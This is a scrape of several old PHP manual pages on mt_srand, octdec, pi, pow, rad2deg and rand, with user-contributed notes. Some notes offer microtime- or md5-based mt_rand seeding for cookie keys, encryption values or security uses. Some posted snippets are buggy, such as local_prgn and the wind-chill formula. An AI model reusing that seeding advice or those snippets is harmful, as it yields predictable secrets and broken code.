Here is the code which ought to replicate the problem:

    $len = 100000;
    $min = 0;
    $max = 99;

    $t = (int)(microtime(true)*0xFFFF);

    $a = array();
    srand( $t );

    for ( $i = 0; $i < $len; $i ++ )
        $a[$i] = rand( $min, $max );

    $b = array();
    srand( $t );

    for ( $i = 0; $i < $len; $i ++ )
        $b[$i] = rand( $min, $max );

    for ( $i = 0; $i < $len; $i ++ )
        if ( $a[$i] !== $b[$i] )
            die( 'Pseudo-random sequence borked at #'.$i.'th iteration!');

    echo 'Your pseudo-random sequencer is working correctly.';
    exit( 0 );
dev at 10e12 dot net 23-Mar-2010 04:44
Sorry for the error in the previous...
Due to the glitch with the wordwrap I got annoyed and lost focus on the copy and paste move.

The last part of the actual function should read.

<?php
// select what we need to return
    if ((($retMax == 0)&&($retMax = mt_getrandmax))||
($retMin==$retMax)){
        return mt_rand();
    }else{
        return mt_rand($retMin,$retMax);
    }

?>

And Nothing else of course...
dev at 10e12 dot net 23-Mar-2010 03:56
What about this for an example...

(sorry for the funky line breaks but I have once
more reported the bug on this issue of word
wrapping to no avail)

Intending to use it in passing a "semi-guaranteed"
properly seeded random number to a client, then to
capture input from the user which must be encrypted
client side before being sent to the server again
  a) during the same session and,
  b) within a set time limit.

for more reading also see:
  AES Rijndael enc/dec routines for javaScript
  developed and tested by Herbert Hanewinkel,
  http://www.hanewin.net/encrypt/aes/aes.htm

<?php
/*
calling the function, prepping the data to send to
the client... , who then uses it in a javascript
implementation of AES Encrypt.
*/

function SHA256($str, $keyval=""){
    if ($keyval!==""){//not null or empty
        $sHash = mhash(Constant('MHASH_SHA256'),$str, $keyval);
    }else{
        $sHash = mhash(Constant('MHASH_SHA256'),$str);
    }
    // same as Binary 2 Hex conversion
    return implode(unpack('H*',$sHash),'');
}

/*---------------------------------------------------
Radomizing the random data with fixed data for
the user and location If return value maximum
is set to zero (0) the function uses mt_getrandmax
If both retMin and retMax is zero (0) the function
uses mt_rand w.o. limits
*----------------------------------------------------*/
function local_prgn($retMin = 0, $retMax = 0){
// first get the session id of the request session
  $sSrv = session_id();

// the following is valid only on the current server
  $sSrv = implode(unpack($_SERVER['SERVER_NAME'].
             $_SERVER['SERVER_ADDR'].$sSrv),'');

// the following applies only to the requesting client
  $sReq = implode(unpack($_SERVER['REMOTE_ADDR'].
             $_SERVER['REQUEST_TIME']),'');

// get a SHA256 seed based on the current values
  $sSeed = SHA256($sSrv,$sReq);

// get a random value based on the uniqueness of the seed above
    mt_srand($sSeed); // seed the random num gen

// some error handling and checking
    if ($retMin > $retMax){
    // swap vars if wrong order
        $rx = $retMax; $retMax = $retMin; $retMin = $rx;

    } else if ($retMin == $retMax){
    //meaningless range, not very random
    //ensure for next check in this range
        $retMin = 0; $retMax = 0;
    }
// select what we need to return
    if ((($retMax == 0)&&($retMax = mt_getrandmax))||
($retMin==$retMax)){
        return mt_getrandmax();
    }else{
        return mt_getrandmax($retMin,$retMax);
    }
}

?>
Alderin1 at gmail dot com 19-Nov-2007 10:55
I think Joe was a little confused by the wording.  The note meant that implementations of mt_rand() before the change would generate a different set of pseudorandom numbers than would implementations of mt_rand() after the change for the same seed.

That's how it reads for me, anyway.
Hayley Watson 13-Nov-2007 03:53
I don't know what Joe is referring to, but the following code never seems to output 'FOO!' however many times I run it:

<?php
$trials = 1000;
$trial_length = 500;
$seed = rand(); // Not mt_rand!
$s = array_fill(0, $trials, '');
for($j=0; $j<$trials; ++$j)
{
    mt_srand($seed); // Same seed => same results (?)
    for($i=0; $i<$trial_length; ++$i)
    {
        $s[$j] .= chr(mt_rand()); // Exploit the fact that chr($n)==chr($n%256)
    }
}
for($j=0; $j<$trials; ++$j)
{
    for($i=$j+1; $i<$trials; ++$i)
    {
        if($s[$i]!=$s[$j]) echo "FOO! Different random strings generated from the same seed!\n";
    }
}
$sample = rand(0,$trials-1);
echo 0,"\t",base64_encode($s[0]),"\n";
echo $sample,"\t",base64_encode($s[$sample]);
?>
Joe 03-Sep-2007 04:59
In some cases it is necessary to be able to create same sequence of pseudo-random numbers. E.g. to run repeatable simulation run with different parameters. Since php 5.2.1 it is not possible even using same seed in mt_srand function. For such cases use srand instead.
Kapr 14-Jun-2007 10:25
To slonmron:
Seed for random numbers generator should be initialized only once, before calling proper rand function. After that you give pseudorandom sequence by multiple calling rand. Initialization of random seed is used if 1) You have better source of random seed than implemented algorithm or 2) if You need always the same sequence of pseudorandom numbers. Example given by You shows only that first rand result strongly depends on seed, what is by definition. It is not a bug.
slonmron_no_spam_please_ at yahoo dot com 15-Mar-2007 11:44
Looks like mt_rand() gives same result for different seeds when the lowest bits are different only. Try this:

#!/usr/bin/php -q
<?php

$min = -17;
$max = $min + 48; // 48 is to fit the results in my console

for ($testseed=$min; $testseed<$max; $testseed++)
{
    mt_srand( $testseed );
    $r = mt_rand();
    printf("mt_srand( 0x%08x ): mt_rand() == 0x%08x == %d\n", $testseed, $r, $r);
}

?>

This is a snapshop of the results:
...
mt_srand( 0xfffffffc ): mt_rand() == 0x0a223d97 == 170016151
mt_srand( 0xfffffffd ): mt_rand() == 0x0a223d97 == 170016151
mt_srand( 0xfffffffe ): mt_rand() == 0x350a9509 == 889885961
mt_srand( 0xffffffff ): mt_rand() == 0x350a9509 == 889885961
mt_srand( 0x00000000 ): mt_rand() == 0x71228443 == 1898087491
mt_srand( 0x00000001 ): mt_rand() == 0x71228443 == 1898087491
mt_srand( 0x00000002 ): mt_rand() == 0x4e0a2cdd == 1309289693
mt_srand( 0x00000003 ): mt_rand() == 0x4e0a2cdd == 1309289693
...

I found this occationally. I have no idea if it is a bug or not. In my real life I do not intend to use sequentional seeds. However, probably this may be important for somebody.
oxai NOSPAM post dot htnet dot hr 09-Sep-2006 11:14
try this instead(!):

<?php

// randomizes MT's seed once per process.

function randomizeProcessSeed()
{
    static $thisProcessHasBeenInitialized;

    if( $thisProcessHasBeenInitialized ) return;

    list($usec, $sec) = explode(' ', microtime());
    mt_srand( (10000000000 * (float)$usec) ^ (float)$sec );

    $thisProcessHasBeenInitialized = true;
} randomizeProcessSeed();
?>
gigs 12-Jan-2006 11:13
used the little script from mrcheezy at hotmail dot com and got much better results using

mt_srand(crc32(microtime()));
vbassassin at coderheaven dot com 30-Nov-2005 08:57
"Better still: Use a 31-bit hash of microtime() as the seed. "

Correct me if i am wrong, but woudlnt using microtime() still limit the total seeds to 1,000,000 again? Since the 31-bit hash will always give the same hash for the same number, and in the microtime() function you could have 1,000,000 or less numbers. So in effect your still no better off at all :-p

Best regards,
scott

PS: I actually agree that PHP has pretty much resolved the issue and got as close as anyones going to get to solving the seeding issue by introducing the "Mersenne Twister" algorithm which creates a much larger pool than 1,000,000 numbers. Just because the mt_srand() function exists doesnt mean you HAVE to use it ;-) use it if you NEED a specific list of the same numbers (comes in handy for encryptions with passwords ;-)
12-Sep-2005 06:03
It's better to use the following method instead of the one in the documentation metioned:

<?php
mt_srand((double)(microtime() ^ posix_getpid()));
?>

Otherwise people requesting the script at the same time could get the same generated number.
Schrecktech 20-Jan-2005 06:16
::: My seeding report :::

For FreeBSD 4.8-STABLE PHP 4.3.10 it was good enough and faster to not seed at all...although I did not test the random pseudo terminal.

In detail only seeding once by a previous seed using the hex version (case 3 below) for larger numbers and longer run times faired the best.  For small numbers it was better to not seed at all (let alone faster).  Play with the $loop and $max numbers to see...

<?
function get_a_good_seed
(
    $choice = 3
)
{
    static $seed;
    $seed = 0;
    switch($choice)
    {
        case 1:
            // from php.net documentation.
            list($usec, $sec) = explode(' ', microtime());
            $seed = (float) $sec + ((float) $usec * 1000000);
            break;
        case 2:
            // from high primary number.
            $seed = (double)microtime()*1000003;
            break;
        case 3:
            // from a good random source.
            $seed = hexdec(substr(md5(microtime()), -8)) & 0x7fffffff;
            break;
        case 4:
            // from random terminal
            // NOT TESTED
            break;
        default:
            break;
    }
    return($seed);
}
function load_last_random
(
)
{
    static $last;
    static $handle;
    // NOTE: create this file with a random integer...
    $handle = fopen("random.txt", "r");
    while (!feof($handle)) {
        $last = fgets($handle, 4096);
    }
    fclose($handle);
    return($last);
}

function save_last_random
(
    $save = 0
)
{
    $handle = fopen("random.txt", "w");
    fwrite($handle, $save);
    fclose($handle);
}

function seed_random_number_generator
(
    $type = 3,
    $ignore_generated_already = FALSE
)
{
    static $generator_seeded = FALSE;
    if($ignore_generated_already || !$generator_seeded)
    {
        // 1) load last with time...force integer.
        // 2) generate a new random seed and save for next time...
        mt_srand(( load_last_random()+get_a_good_seed($type) ) & 0x7fffffff);
        save_last_random(mt_rand());
        $generator_seeded= TRUE;
    }
}
?>
fasaxc at yahoo dot co dot uk 25-Jul-2003 08:01
In fact, here's an even better function than the one below assuming your install provides a random entropy daemon and you're running *nix (to check for the former type "head -c 6 /dev/urandom" on the command line if available - if you get 6 random characters you're set). N.B. php must be able to find the head program so it must be in your path and allowed if you're running safe mode.

The functions db_set_global() and db_get_global() I use to set/get a variable from a central database but you could save/restore the variable from a file instead or just use the function get_random_word().

<?

####################################
## returns a random 32bit integer.
## Passing a parameter of True gives a better random
## number but relies on the /dev/random device
## which can block for a long time while it gathers
## enough random data ie. DONT USE IT unless
##   a) You have an entropy generator attatched to
## your computer set to /dev/random -OR-
##   b) Your script is running locally and generating
## a good random number is very important
####################################
function get_random_word($force_random=False) {
    if ($force_random) {
        $u='';
    } else {
        $u='u';
    }
    $ran_string=shell_exec("head -c 4 /dev/{$u}random");
    $random=ord(substr($ran_string,0,1))<<24 |
            ord(substr($ran_string,1,1))<<16 |
            ord(substr($ran_string,2,1))<<8 |
            ord(substr($ran_string,3,1));
    return $random;
}

--EITHER - IF YOU'VE SET UP A DATABASE OF GLOBAL VARIABLES--

## If the seed is found in the database
if ($seed=db_get_global('seed')) {
    # use mt_rand() to get the next seed
    mt_srand($seed);
    # then XOR that with a random word
    $seed=(mt_rand() ^ get_random_word());
} else {
## Make a completely new seed (First Run)
    # Generate the seed as a proper random no using /dev/random
    $seed=get_random_word(True);
    mt_srand($seed);
}

db_set_global('seed',$seed);

--OR JUST--
mt_srand(get_random_word());

?>
fasaxc at yahoo dot com 17-Jul-2003 04:14
The best way to ensure a random seed is to do the following:
To start:
   1) get your initial seed with mt_srand(microtime() * 1000000)
   2) generate a random no. $random=mt_rand()
   3) save this number in a file (or database or whatever so that it is available next time the page is loaded)

 Now, for each time your script is loaded :
   1) load the value you saved above and do $new_seed=($random+(microtime() * 1000000))%pow(2,32)
   2) mt_srand($new_seed);
   3) generate a new random no. $random=mt_rand()
   4) save that number back in the file/database

This procedure takes advantage not only of the randomness of microtime() but of all the previous calls to microtime() so your seed becomes better and better with time. It also generates good seeds even on platforms where microtime() doesn't take all the values it can.

Just using microtime() * 1000000 only results in 1000000 possible seeds (and less on some platforms as noted) - the function above gives 2^32 seeds with an avelanche effect accross multiple executions.
mrcheezy at hotmail dot com 17-Feb-2003 02:14
Very good points above on seeds, thank you. If you would like to test a seed try using the code below. It will take between 5 and 20 seconds depending on your system and then will spit out the number of reused keys out of 100,000 attempts.

;  for ($i=0; $i<100000; $i++) {
;    mt_srand(hexdec(substr(md5(microtime()), -8)) & 0x7fffffff);
;    $rand = mt_rand();
;
;    ($arr[$rand] == '1') ? $k++ : $arr[$rand] = '1';
;  }
mattb at columbia dot edu 12-Dec-2002 12:54
This is effectively the same thing, but it uses a more efficient bit mask instead of a substring. Here's the verbose version:

    function mkseed()
    {
        $hash = md5(microtime());
        $loWord = substr($hash, -8);
        $seed = hexdec($loWord);
        $seed &= 0x7fffffff;

        return $seed;
    }

Or, if you're a real hacker, this is a more concise version:

    function mkseed()
    {
        return hexdec(substr(md5(microtime()), -8)) & 0x7fffffff;
    }

Note, the range on the md5 sum is really arbitrary. You could use whatever portion you like, just so long as it's 32 bits.

Now just call mt_srand() (once) as follows:

    mt_srand(mkseed());

Of course, unless you wanted the mkseed() function for something else, you could skip all that jive and just do this somewhere in a global include file:

    <?php

    /*
        Global include file. Make sure this gets included before using
        mt_rand().
    */

    if (!isset($_MyApp_MtSrand)
        || !$_MyApp_MtSrand)
    {
        $_MyApp_MtSrand = true;
        mt_srand(hexdec(substr(md5(microtime()), -8)) & 0x7fffffff);
    }

    ?>
ghaecker_no_spam at idworld dot net 21-Sep-2002 01:20
The range of unique seeds using this method is a bit over 2 billion.  This approach also prevents re-seeding.

function seed_mt_rand() {
  static $done;
  if (!$done) {
    $hash = md5(microtime());
    $length = ((substr($hash,0,1) < '8') ? 8 : 7 );
    mt_srand((int)base_convert(substr($hash,0,$length),16,10));
    $done = TRUE;
  }
}
maxim at php dot net 13-Jun-2002 02:57
to : l_rossato@libero.it

doing ...

list($usec,$sec)=explode(" ",microtime());
$unique = mt_srand($sec * $usec);

theoretiaclly, makes just as much sense as

list($usec,$sec)=explode(" ",microtime());
$unique = $usec + 0;

Once every while, depending on the microsecond resolution of your computer, the millisecond value will be a zero (0), and as I hope you know, in mathematics, any number multiplied by a zero becomes a zero itself.

(x * 0 = 0)

In real life, on a good machine, with a resolution to 1 million miliseconds per each second (i.e: Win2k server), you will be reduplicating your unique ID each million's ID issued. This means if you use it as your cookie encryption algorithm or a visitor ID, you will not exceed some million instances.

Futhermore, if that would be for a software development that you re-distribuite, installed on some weird old PC, where resolution can be as small as 100 milliseconds per second - a code with this uniqueness algorithm just wouldn't last any long.

Good Luck,

Maxim Maletsky
maxim@php.net

PHPBeginner.com
changminyang at hananet dot net 20-Feb-2002 02:00
list($usec,$sec) = explode(" ",microtime());

/* Test: Each get rand sequence are 10time. */
/* ex) 5.3point meaning 5point integer + 3point decimal */

// case A:
// 5.0point - 1time
// 6.0point - 9time
$rand = (double)microtime()*1000000;

// case B:
// 8.6point - 1time
// 9.4point - 1time
// 9.5point - 7time
// 10.3point - 1time
$rand = (double)$sec * $usec;

// My case A:
// 8.0point - 10time
$rand = explode(".",$usec * $sec);
$rand = (double)substr($rand[0]*$rand[1],0,8);

// My case B:
// 9.0point - 9time
// 10.0point - 1time
$rand = explode(".",$usec * $sec);
$rand = $rand[0] + $rand[1];

mt_srand($rand);
srand($rand);

// P.S> My previous note is has wrong lines, sorry about it.  This is right.
l_rossato at libero dot it 12-Nov-2001 08:47
Try this much simpler approach:
list($usec,$sec)=explode(" ",microtime());
mt_srand($sec * $usec);

This won't cause an overflow during the float-to-integer conversion.
Of course, if you only need ONE random number just take $sec * $usec! Otherwise, call mt_srand just once at the start of your program.
roundeye_no_spam at roundeye dot net 03-Nov-2001 05:23
Since I've seen this problem in so many other manual comments I'm writing a note here.  Basically, calling mt_srand() every time you call mt_rand() defeats the whole purpose of a generator like the Mersenne Twister, and will greatly reduce the quality of the number stream you produce.  For cryptographic or security purposes this is A Bad Thing.
<br>
DON'T do this:
<br>
function bad_pick_random_number($min, $max) {
  mt_srand();
  return mt_rand($min, $max);
}
<br>
Instead, call mt_srand() *once* early in the execution of your program and pick your numbers separately after that:
<br>
function good_pick_random_number($min, $max) {
   return mt_rand($min, $max);
}
<br>
Of course, if you're doing that sort of thing you might as well just call mt_rand() directly.
trobinson-a-t-gksystems-d-o-t-com 02-Nov-2001 02:15
I see a problem with seeding with:
mt_srand((double)microtime()*1000000);
Too few seeds.
This chooses the seed from a space of only one million seeds. This is a shame, because the Mersenne Twister algorithm has a period of 2**19937-1.
So of all the possible starting points in the MT sequence, the above seed only chooses at random from among 1000000 starting points, or about 0.000...0001% of the possible starting points, where "..." is a string of about 5986 more zeros!
In real life, this means that if you note the first few random numbers, when you see the same first few numbers again, the chances are very good that you have the same seed and the rest of the sequence will be the same too.

If you generate a random "unique" 100-character key for say cookie use, seeding as above, you will likely get a duplicate key after only 1000 keys or so.
Better: To supplement the results from mt_rand, also hash in the entire contents of the microtime() string.
Better still: Use a 31-bit hash of microtime() as the seed.

Problem 2. Way too few seeds on some hardware. It is bad to rely on a clock ticking every microsecond. I have used computers where 100ms was the finest-resolution clock available. That would be just 10 different seeds, as the results from (double)microtime() would look like:
0.10000000
0.20000000
etc.
php_public at macfreek dot nl 07-Oct-2001 08:57
The seed is not good. The make_seed() function returns a big number (around 1.0E14), this number is bigger then 2147483647, the max. size of an integer. If the result of make_seed is first converted to an integer, which -on my setup- always becomes -2147483648. So, the above code always returns the same seed and I always end up with the same random numbers.

Note: This might be related to a bug noted on http://www.php.net/manual/en/language.types.integer.php. But I couldn't confirm this, since it will be fixed in PHP 4.0.7, but that isn't released yet at the time of writing)

I was also not able to fix it by return the seed modulo 2147483647.
So for now, I just suggest change the seed function as:

function make_seed() {
    return (double)microtime()*1000000;
}

See also: uniqid()
mt_rand
octdec
Math Functions


Octal to decimal

mt_srand
pi
Math Functions
PHP Manual

octdec

(PHP 4, PHP 5)

octdec — Octal to decimal

Description

number octdec ( string $octal_string )

Returns the decimal equivalent of the octal number represented by the octal_string argument.

Parameters

octal_string

The octal string to convert

Return Values

The decimal representation of octal_string

Changelog

Version | Description
Since 4.1.0 | The function can now convert numbers that are too large to fit into the platforms integer type, larger values are returned as float in that case.

Examples

Example #1 octdec() example

<?php
echo octdec('77') . "\n";
echo octdec(decoct(45));
?>

The above example will output:

63
45

See Also

  • decoct() - Decimal to octal
  • bindec() - Binary to decimal
  • hexdec() - Hexadecimal to decimal
  • base_convert() - Convert a number between arbitrary bases

User Contributed Notes

cubbo at quakenet dot php 18-Feb-2009 05:49
Hi, this is an attempt to explain octdec().

There is one bug, if input is not octal, it doesn't return a proper decimal.

<?php

$octal = (int) "764";

function octal_to_decimal($int)
    {
        $data = integer;
        $i = (strlen($int) - 1);
        $parse_int = str_split($int);
        foreach($parse_int as $value)
            {
                $data += (int)($value * pow(8, $i));
                $i--;
            }
        return $data;
    }
/**
*    explanation of the PHP function octdec()
*/
print octal_to_decimal($octal) . "<br />";

/**
*    the PHP function octdec()
*/
print octdec($octal);

?>
contato at andersonfraga dot net 18-Aug-2008 01:30
Number is octal?

Simple and easy:

<?php

function is_octal($x) {
    return decoct(octdec($x)) == $x;
}

echo is_octal(077); // true
echo is_octal(195); // false

?>

Thanks
[]'s
harry at disgruntledgoat dot com 27-Mar-2007 03:03
Calling the sticky bit "text" is not erroneous: On UNIX back in 1974, it instructed the operating system to retain the text segment of the program in swap space after the process exited. This speeded subsequent executions by allowing the kernel to make a single operation of moving the program from swap to real memory.
11-Sep-2002 01:51
The 'S' flag for Unix file access rights is badly computed in the above sample.
If the corresponding 'x' bit (exec) is not set, and the 's' bit (setgid/setuid/sticky) is set, then the flag should not be displayed as and uppercase 'S', but as a lower case 's'. Also the sticky bit (mainly used for folders with public right access rights such as /tmp to protect against deletion by non owner) is badly named ("text"?).
meheler at searchbc dot com 25-Oct-2001 08:03
This function and decoct work great when working with file permissions. For example:

<?php
    $mode = octdec('4750');

    $user['suid']     = ($mode & 04000);
    $user['read']     = ($mode & 00400);
    $user['write']    = ($mode & 00200);
    $user['execute']  = ($mode & 00100);

    $group['sgid']    = ($mode & 02000);
    $group['read']    = ($mode & 00040);
    $group['write']   = ($mode & 00020);
    $group['execute'] = ($mode & 00010);

    $other['text']    = ($mode & 01000);
    $other['read']    = ($mode & 00004);
    $other['write']   = ($mode & 00002);
    $other['execute'] = ($mode & 00001);

    $attrs = array('-','-','-','-','-','-','-','-','-','-');

    if ($system['dir']) $attrs[0] = 'd';

    if ($user['read']) $attrs[1] = 'r';
    if ($user['write']) $attrs[2] = 'w';
    if ($user['execute']) $attrs[3] = 'x';
    if ($user['suid']) $attrs[3] = 'S';

    if ($group['read']) $attrs[4] = 'r';
    if ($group['write']) $attrs[5] = 'w';
    if ($group['execute']) $attrs[6] = 'x';
    if ($group['sgid']) $attrs[6] = 'S';

    if ($other['read']) $attrs[7] = 'r';
    if ($other['write']) $attrs[8] = 'w';
    if ($other['execute']) $attrs[9] = 'x';
    if ($other['text']) $attrs[9] = 'T';

    echo '<pre>';
    echo 'Mode Decimal: ' . $mode . "\n";
    echo 'Mode Octal: ' . decoct($mode) . "\n";
    echo 'Mode String: ' . implode('',$attrs)."\n";
    echo '</pre>';
?>

Outputs:

Mode Decimal: 2536
Mode Octal: 4750
Mode String: -rwSr-x---

-Mike
mt_srand
pi
Math Functions


Get value of pi

octdec
pow
Math Functions
PHP Manual

pi

(PHP 4, PHP 5)

pi — Get value of pi

Description

float pi ( void )

Returns an approximation of pi. The returned float has a precision based on the precision directive in php.ini, which defaults to 14. Also, you can use the M_PI constant which yields identical results to pi().

Return Values

The value of pi as float.

Examples

Example #1 pi() example

<?php
echo pi(); // 3.1415926535898
echo M_PI; // 3.1415926535898
?>

User Contributed Notes

CCoke at incode dot exportforce dot com 25-Jul-2011 08:31
i believe the precision (independent of the .ini configuration)
is limited by the maximum amout of digits you float type can handle..

maybe it also depends on wheter u use a 32 or 64 bit mashine
ghostt dot ew at gmail dot com 10-Feb-2010 04:05
The highest current precision you can get from pi() at this point is 49 digits.

<?php

$precision = 49;
ini_set("precision", $precision);
echo pi(); //will output 3.141592653589793115997963468544185161590576171875

?>
gmail user robkohr 05-Dec-2008 03:38
<?php
/*
 Returns angle of line segment in degrees. Angle will be a positive
 value between 0 and 360. 0 will be north, 90 east, 180 south, 270 west
 Author: Robert Kohr
*/
function get_angle($x1, $y1, $x2, $y2, $negative_y_is_up=0){
  //differences in x and y
  $x = $x2 - $x1;
  $y = $y2 - $y1;
  //y will need to be negated for where + y is down
  if($negative_y_is_up){
    //useful in some applications
    $y = -$y;
  }
  return (rad2deg(atan2($x, $y))+360)%360;
}
?>
Keamos at gmail 13-Jan-2006 09:31
For anyone wondering, the highest precision you can get for pi() or M_PI is 20 places after the decimal point, or 3.14159265358979323846.
davidduke at hotmail dot com 27-Mar-2004 06:18
Pi is often usefull in con/sin/tan functions..
There are also other Pi related constants.
These are most of them:

M_PI  = 3.14159265358979323846 // pi

// The following were added in PHP 4.0.0
M_PI_2 = 1.57079632679489661923 // pi/2
M_PI_4 = 0.78539816339744830962 // pi/4
M_1_PI = 0.31830988618379067154 // 1/pi
M_2_PI = 0.63661977236758134308 // 2/pi
M_SQRTPI = 1.77245385090551602729 // sqrt(pi) (Only in PHP 4.0.2+)
M_2_SQRTPI = 1.12837916709551257390 // 2/sqrt(pi)
octdec
pow
Math Functions


Exponential expression

pi
rad2deg
Math Functions
PHP Manual

pow

(PHP 4, PHP 5)

pow — Exponential expression

Description

number pow ( number $base , number $exp )

Returns base raised to the power of exp.

Parameters

base

The base to use

exp

The exponent

Return Values

base raised to the power of exp. If the result can be represented as integer it will be returned as type integer, else it will be returned as type float.

Changelog

Version | Description
4.2.0 | No warning is emitted on errors, even if the value can't be computed.
4.0.6 | The function will now return integer results if possible, before this it always returned a float result. For older versions, you may receive a bogus result for complex numbers.

Examples

Example #1 Some examples of pow()

<?php

var_dump(pow(2, 8)); // int(256)
echo pow(-1, 20); // 1
echo pow(0, 0); // 1

echo pow(-1, 5.5); // PHP >4.0.6  NAN
echo pow(-1, 5.5); // PHP <=4.0.6 1.#IND
?>

Notes

Note:

This function will convert all input to a number, even non-scalar values, which could lead to weird results.

See Also

  • exp() - Calculates the exponent of e
  • sqrt() - Square root
  • bcpow() - Raise an arbitrary precision number to another
  • gmp_pow() - Raise number into power

User Contributed Notes

tagg_maiwald at yahoo dot com 02-Nov-2010 08:34
This function returns the value of a positive base with a signed floating point exponent:
function sf_exp( $fl_x = 1, $fl_y = 0)
{    $fl_exp = 0.0;
    if (0 > $fl_x)
    {    // Alter this logic container to enable processing of negative bases.
        $fl_exp = -1.0;
    } else
    {    $bool_neg = (0 > $fl_y);

        if ($bool_neg)
        {    $fl_y = 0 - $fl_y;
        }

        $fl_xlog = log10( $fl_x);
        $fl_xylog = ( $fl_xlog * $fl_y);
        $fl_exp = pow( 10, $fl_xylog);

        if ($bool_neg)
        {    $fl_exp = 1/$fl_exp;
        }
    }

    return $fl_exp;
}
Anonymous 25-Apr-2010 02:24
You can increase the 'precision' php.ini setting a little to work with larger float numbers here, but this comes at at cost of sacrificing decimal accuracy.  The default 'precision' is 14.  5 is about the threshhold that php can handle for decimal accuracy before at least some number corruption starts showing or it cannot output the actual number, and 16 for large number accuracy, as demonstrated by throwing this into the table below:
<?php
    echo "<td>".pow(10, $i) - 1)."</td>";
?>

See the table below for an example, and adjust your php.ini 'precision' setting according to what your OS and PHP version can handle and what number size you want to work with.  Alternatively, you can use the bc math functions for more accuracy all around, and not have to rely on the 'precision' ini setting at all, but this moves out of the realm of strictly floats and into strings.

Also, PHP just prefers to display the 'E' notation of float values where possible after about 5 decimal places rather than the actual decimal number (1.0E-5 vs 0.00005).

<?php

echo "<table>";
for($i = 0; $i < 50; $i++) {
    $precision = $i + 1;
    ini_set('precision', $precision);
    echo "<tr>";
    echo "<td>".$precision."</td>";
    echo "<td>".pow(10, $i)."</td>";
    echo "<td>".pow(10, (-1 * $i))."</td>";
    echo "<td>".bcpow('10', (string) $i, $precision)."</td>";
    echo "<td>".bcpow('10', (string) (-1 * $i), $precision)."</td>";
    echo "</tr>";
    }
echo "</table>";

?>

Bottom line though is, if you're working with larger numbers or require very fine decimal precision or prefer displaying the full decimal number, use the bc math functions instead.  And, do check out PHP's considerations about the float type here: http://php.net/manual/en/language.types.float.php
Matt Dudley 16-Jul-2008 03:14
Calculate wind chill based on the National Weather Service formula.

$temp = 25;
$wind_speed_mph = 6;

$wind_chill = 35.74+(.6215*$temp_f)-(35.75*(pow($wind_speed_mph, 0.16)))+(.4275*$temp_f*(pow($wind_speed_mph, 0.16)));

Value only valid when the temp is 45 or below.... I used this with a weather script I wrote that reads an xml file. They don't provide wind chill.
Docey 04-May-2007 10:33
no integer breaking here, pow just silently switches to using floats instead of integers.

pow(2, 31) = integer value
pow(2, 32) = float value.

the manual says the limit for floats is machine dependent so i did a little loop to see how far it will go before becomming infinit. the result is 1023.

pow(2, 1023) = float
pow(2, 1024) = ifinit.

tested on php 4.4.1 under windows2000 on an AMD AthlonXP 2800+.
gilthansREMOVEME at gmail dot com 15-Dec-2006 07:50
Note that pow(0, 0) equals to 1 on PHP 4 (only tested it there), although mathematically this is undefined.
moikboy (nospam) moikboy (nospam) hu 10-May-2006 01:27
Here is a function for calculating the $k-th root of $a :

<?php
function root($a,$k){return(($a<0&&$k%2>0)?-1:1)*pow(abs($a),1/$k);};
?>
louis [at] mulliemedia.com 31-Dec-2004 08:02
Here's a pow() function that allows negative bases :
<?php
function npow($base, $exp)
{
    $result = pow(abs($base), $exp);
    if ($exp % 2 !== 0) {
        $result = - ($result);
    }
    return $result;
}
?>
janklopper .AT. gmail dot.com 10-Nov-2004 06:26
since pow doesn't support decimal powers, you can use a different sollution,

thanks to dOt for doing the math!

a^b = e^(b log a)
which is no the 10log but the e-log (aka "ln")

so instead of: pow( $a , 0.6 ) use something like: exp( 0.6 * log($a) )
matthew underscore kay at ml1 dot net 17-Mar-2004 11:03
As of PHP5beta4, pow() with negative bases appears to work correctly and without errors (from a few cursory tests):

pow(-3, 3) = -27
pow(-3, 2) = 9
pow(-5, -1) = -0.2
bishop 17-Jul-2003 08:01
A couple of points on pow():
1. One of the official examples of pow(2,8) is not pragmatic; use 1 << 8 as it's substantially faster
2. When passing variables to pow(), cast them otherwise you might get warnings on some versions of PHP
3. All the rules of algebra apply: b**(-e) is 1/(b**e), b**(p/q) is the qth root of b**p

So, e.g., sqrt($x) === pow($x, .5); but sqrt() is faster.
pi
rad2deg
Math Functions


Converts the radian number to the equivalent number in degrees

pow
rand
Math Functions
PHP Manual

rad2deg

(PHP 4, PHP 5)

rad2deg — Converts the radian number to the equivalent number in degrees

Description

float rad2deg ( float $number )

This function converts number from radian to degrees.

Parameters

number

A radian value

Return Values

The equivalent of number in degrees

Examples

Example #1 rad2deg() example

<?php

echo rad2deg(M_PI_4); // 45

?>

See Also

  • deg2rad() - Converts the number in degrees to the radian equivalent

User Contributed Notes

money1109 at gmail dot com 15-May-2008 03:59
Conversion between grads and degrees

function gon2deg($gon) {
    return ($gon / 400) * 360;
}

function deg2gon($deg) {
    return ($deg / 360) * 400;
}
15-Dec-2004 10:22
Definition

<?
function rad2deg($arg) {
 return $arg*180/pi();
}
?>
pow
rand
Math Functions


Generate a random integer

rad2deg
round
Math Functions
PHP Manual

rand

(PHP 4, PHP 5)

rand — Generate a random integer

Description

int rand ( void )
int rand ( int $min , int $max )

If called without the optional min, max arguments rand() returns a pseudo-random integer between 0 and getrandmax(). If you want a random number between 5 and 15 (inclusive), for example, use rand(5, 15).

Note: On some platforms (such as Windows), getrandmax() is only 32767. If you require a range larger than 32767, specifying min and max will allow you to create a range larger than this, or consider using mt_rand() instead.

Parameters

min

The lowest value to return (default: 0)

max

The highest value to return (default: getrandmax())

Return Values

A pseudo random value between min (or 0) and max (or getrandmax(), inclusive).

Changelog

Version | Description
4.2.0 | The random number generator is seeded automatically.

Examples

Example #1 rand() example

<?php
echo rand() . "\n";
echo rand() . "\n";

echo rand(5, 15);
?>

The above example will output something similar to:

7771
22264
11

See Also

  • srand() - Seed the random number generator
  • getrandmax() - Show largest possible random value
  • mt_rand() - Generate a better random value

User Contributed Notes

Zak 01-Oct-2011 08:34
I couldn't find a suitable random alpha-numeric generator function so I rolled my own. It gives a random number in base 36 (0-9, a-z) to a given length.

<?php
function randomAlphaNum($length){

    $rangeMin = pow(36, $length-1); //smallest number to give length digits in base 36
    $rangeMax = pow(36, $length)-1; //largest number to give length digits in base 36
    $base10Rand = mt_rand($rangeMin, $rangeMax); //get the random number
    $newRand = base_convert($base10Rand, 10, 36); //convert it

    return $newRand; //spit it out

}
?>

hopefully helps someone
Daniel Klein. 19-Aug-2011 03:10
